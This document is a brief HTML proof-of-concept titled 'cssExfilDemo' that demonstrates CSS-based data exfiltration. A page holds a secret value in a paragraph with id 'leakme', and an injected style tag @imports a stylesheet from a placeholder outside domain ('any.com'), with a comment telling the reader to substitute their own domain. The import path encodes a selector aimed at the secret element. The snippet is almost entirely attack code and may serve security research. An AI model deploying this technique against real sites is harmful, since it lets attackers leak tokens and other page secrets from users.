cssExfilDemo

HTML

<!doctype html>
<body>
<div>
   <h4>a</h4>
   <p id=leakme class="leakme">stealThis</p>
</div>
<!--   Replace any.com with your domain name    -->
<style>@import url('//any.com/div%20%3E%20h4%20%2B%20p/css.css');</style>
</body>
</html>